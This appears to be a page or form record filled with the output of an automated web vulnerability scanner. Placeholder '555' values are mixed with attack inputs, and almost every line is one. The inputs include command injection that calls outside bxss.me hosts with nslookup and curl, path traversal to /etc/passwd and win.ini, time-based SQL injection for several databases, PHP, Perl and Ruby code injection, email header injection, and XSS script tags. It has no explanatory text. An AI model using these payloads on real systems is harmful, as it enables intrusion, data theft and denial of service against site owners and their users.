555

response.write(9763240*9134243)

echo ycyvli$() iuvsninz^xyu||a #' &echo ycyvli$() iuvsninz^xyu||a #|" &echo ycyvli$() iuvsninz^xyu||a #

'+response.write(9763240*9134243)+'

&echo soyurc$() pgcjbunz^xyu||a #' &echo soyurc$() pgcjbunz^xyu||a #|" &echo soyurc$() pgcjbunz^xyu||a #

"+response.write(9763240*9134243)+"

555&echo ildeqw$() ugaaysnz^xyu||a #' &echo ildeqw$() ugaaysnz^xyu||a #|" &echo ildeqw$() ugaaysnz^xyu||a #

|echo trhgil$() iptfrunz^xyu||a #' |echo trhgil$() iptfrunz^xyu||a #|" |echo trhgil$() iptfrunz^xyu||a #

555|echo fyzotu$() rquhafnz^xyu||a #' |echo fyzotu$() rquhafnz^xyu||a #|" |echo fyzotu$() rquhafnz^xyu||a #

(nslookup -q=cname hitlrstqjwxlzddc71.bxss.me||curl hitlrstqjwxlzddc71.bxss.me))

$(nslookup -q=cname hitjqxbctouxk41f3e.bxss.me||curl hitjqxbctouxk41f3e.bxss.me)

555

&nslookup -q=cname hitdhvibeqwggeb096.bxss.me&'"`0&nslookup -q=cname hitdhvibeqwggeb096.bxss.me&`'

555

&(nslookup -q=cname hitovwbsfspjs432a8.bxss.me||curl hitovwbsfspjs432a8.bxss.me)&'"`0&(nslookup -q=cname hitovwbsfspjs432a8.bxss.me||curl hitovwbsfspjs432a8.bxss.me)&`'

555

|(nslookup -q=cname hitkthvkerqcs5ebfc.bxss.me||curl hitkthvkerqcs5ebfc.bxss.me)

`(nslookup -q=cname hitbgimjcxbrg34b7f.bxss.me||curl hitbgimjcxbrg34b7f.bxss.me)`

;(nslookup -q=cname hitpfmkbhccua11578.bxss.me||curl hitpfmkbhccua11578.bxss.me)|(nslookup -q=cname hitpfmkbhccua11578.bxss.me||curl hitpfmkbhccua11578.bxss.me)&(nslookup -q=cname hitpfmkbhccua11578.bxss.me||curl hitpfmkbhccua11578.bxss.me)

wOTC3Jqc

555

../../../../../../../../../../../../../../etc/passwd

555

../../../../../../../../../../../../../../windows/win.ini

555
bcc:0.45-205494.45.fe36e.20268.2@bxss.me

file:///etc/passwd

to@example.com>
bcc:0.45-205495.45.fe36e.20268.2@bxss.me

555

../555

555

555

555

555

555

555

555

12345'"'");|]*{
<>

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555<esi:include src="http://bxss.me/rpb.png"/>

${10000211+9999368}

555

555

555

555

555

555

-1 OR 2+876-876-1=0+0+0+1 --

-1 OR 2+114-114-1=0+0+0+1

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555&n964908=v911112

-1' OR 2+409-409-1=0+0+0+1 --

-1' OR 2+176-176-1=0+0+0+1 or 'wqsnehb7'='

-1" OR 2+743-743-1=0+0+0+1 --

/etc/shells

c:/windows/win.ini

)

!(()&&!|*|*|

bxss.me

555

^(#$!@#$)(()))******

'.gethostbyname(lc('hitss'.'kvaooocea706a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(71).chr(120).chr(67).'

".gethostbyname(lc("hityk"."fajgsmdr15427.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(84).chr(113).chr(69)."

'"()

555'&&sleep(27*1000)*chbddv&&'

555

555"&&sleep(27*1000)*xjcsrx&&"

555

555

555'||sleep(27*1000)*yvulsm||'

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555

555

555

555"||sleep(27*1000)*tjnijf||"

';print(md5(31337));$a='

555

";print(md5(31337));$a="

555

555

${@print(md5(31337))}

555

${@print(md5(31337))}

"+"A".concat(70-3).concat(22*4).concat(117).concat(82).concat(108).concat(73)+(require"socket"
Socket.gethostbyname("hitxf"+"ypqedhig2b876.bxss.me.")[3].to_s)+"

555

bxss.me/t/xss.html?%00

555

'.print(md5(31337)).'

'+'A'.concat(70-3).concat(22*4).concat(109).concat(68).concat(115).concat(85)+(require'socket'
Socket.gethostbyname('hitay'+'dzzxeqge4f838.bxss.me.')[3].to_s)+'

555

555

555

555

555

555

555

555

555

reply

555

reply

555

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

if(now()=sysdate(),sleep(15),0)

reply/.

555

555

555

555

555

xfs.bxss.me

555

'"

555

555'"()&%<zzz><ScRiPt >MvRL(9749)</ScRiPt>

555

555

<!--

555

555

555

555

555

555

'"()&%<zzz><ScRiPt >MvRL(9517)</ScRiPt>

555

555

555

555

5559430157

555

555

555

555

555

555

555

555

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

555

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

dcfckSWr'; waitfor delay '0:0:15' --

-5 OR 28=(SELECT 28 FROM PG_SLEEP(15))--

-5) OR 850=(SELECT 850 FROM PG_SLEEP(15))--

-1)) OR 212=(SELECT 212 FROM PG_SLEEP(15))--

MVWf3QuR' OR 472=(SELECT 472 FROM PG_SLEEP(15))--

lrbnXqK3') OR 885=(SELECT 885 FROM PG_SLEEP(15))--

7dbEDBZS')) OR 504=(SELECT 504 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@uDcsw

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

response.write(9807872*9687081)

echo lcgxyk$() tmyzcmnz^xyu||a #' &echo lcgxyk$() tmyzcmnz^xyu||a #|" &echo lcgxyk$() tmyzcmnz^xyu||a #

'+response.write(9807872*9687081)+'

1yPZ2Yri

&echo jmhlpu$() xattlhnz^xyu||a #' &echo jmhlpu$() xattlhnz^xyu||a #|" &echo jmhlpu$() xattlhnz^xyu||a #

"+response.write(9807872*9687081)+"

555&echo gbvdmq$() yxbzlgnz^xyu||a #' &echo gbvdmq$() yxbzlgnz^xyu||a #|" &echo gbvdmq$() yxbzlgnz^xyu||a #

|echo nrgvfj$() eexbhbnz^xyu||a #' |echo nrgvfj$() eexbhbnz^xyu||a #|" |echo nrgvfj$() eexbhbnz^xyu||a #

555|echo irartj$() cplzdanz^xyu||a #' |echo irartj$() cplzdanz^xyu||a #|" |echo irartj$() cplzdanz^xyu||a #

../../../../../../../../../../../../../../etc/passwd

555
bcc:0.45-237531.45.fe36e.20268.2@bxss.me

(nslookup -q=cname hitetcnwfigoda928a.bxss.me||curl hitetcnwfigoda928a.bxss.me))

../../../../../../../../../../../../../../windows/win.ini

$(nslookup -q=cname hitvibwrygzfbe3200.bxss.me||curl hitvibwrygzfbe3200.bxss.me)

to@example.com>
bcc:0.45-237532.45.fe36e.20268.2@bxss.me

file:///etc/passwd

&nslookup -q=cname hitjejrmzgtrx55340.bxss.me&'"`0&nslookup -q=cname hitjejrmzgtrx55340.bxss.me&`'

555

&(nslookup -q=cname hitsenfypjjye9b9e9.bxss.me||curl hitsenfypjjye9b9e9.bxss.me)&'"`0&(nslookup -q=cname hitsenfypjjye9b9e9.bxss.me||curl hitsenfypjjye9b9e9.bxss.me)&`'

../555

|(nslookup -q=cname hitffomrkdiyb4a2e4.bxss.me||curl hitffomrkdiyb4a2e4.bxss.me)

555

12345'"'");|]*{
<>

`(nslookup -q=cname hityfkrzvnzjm91d32.bxss.me||curl hityfkrzvnzjm91d32.bxss.me)`

555<esi:include src="http://bxss.me/rpb.png"/>

;(nslookup -q=cname hitrgztbzerlo26524.bxss.me||curl hitrgztbzerlo26524.bxss.me)|(nslookup -q=cname hitrgztbzerlo26524.bxss.me||curl hitrgztbzerlo26524.bxss.me)&(nslookup -q=cname hitrgztbzerlo26524.bxss.me||curl hitrgztbzerlo26524.bxss.me)

555

555

${10000043+9999845}

555

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555&n902804=v984197

555

)

!(()&&!|*|*|

555

/etc/shells

^(#$!@#$)(()))******

c:/windows/win.ini

bxss.me

'"()

555'&&sleep(27*1000)*hkxjuu&&'

555

555"&&sleep(27*1000)*pfwumc&&"

555'||sleep(27*1000)*zfbgeb||'

555

555"||sleep(27*1000)*zvzkpe||"

'.gethostbyname(lc('hitbs'.'tckgoyqmed1c6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(82).chr(117).chr(79).'

".gethostbyname(lc("hitlk"."moknbzav12d99.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(75).chr(97).chr(83)."

555

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

bxss.me/t/xss.html?%00

";print(md5(31337));$a="

"+"A".concat(70-3).concat(22*4).concat(117).concat(82).concat(110).concat(67)+(require"socket"
Socket.gethostbyname("hitqg"+"reinrhrufd503.bxss.me.")[3].to_s)+"

${@print(md5(31337))}

555

${@print(md5(31337))}

555

'+'A'.concat(70-3).concat(22*4).concat(100).concat(74).concat(102).concat(77)+(require'socket'
Socket.gethostbyname('hitgh'+'namxcfbw99f99.bxss.me.')[3].to_s)+'

'.print(md5(31337)).'

reply

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

reply

555

reply/.

xfs.bxss.me

555

555

'"

-1 OR 2+987-987-1=0+0+0+1 --

<!--

555'"()&%<zzz><ScRiPt >AzgW(9344)</ScRiPt>

-1 OR 2+372-372-1=0+0+0+1

-1' OR 2+734-734-1=0+0+0+1 --

'"()&%<zzz><ScRiPt >AzgW(9743)</ScRiPt>

-1' OR 2+780-780-1=0+0+0+1 or '6hYswZGk'='

-1" OR 2+452-452-1=0+0+0+1 --

5559880307

555

555

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

7fOh3Ij7'; waitfor delay '0:0:15' --

-5 OR 690=(SELECT 690 FROM PG_SLEEP(15))--

-5) OR 57=(SELECT 57 FROM PG_SLEEP(15))--

-1)) OR 953=(SELECT 953 FROM PG_SLEEP(15))--

ud7Uo6ig' OR 593=(SELECT 593 FROM PG_SLEEP(15))--

BbE3Q64G') OR 688=(SELECT 688 FROM PG_SLEEP(15))--

2UjBt24C')) OR 355=(SELECT 355 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@T1QIk

555

555

555

555

555

555

555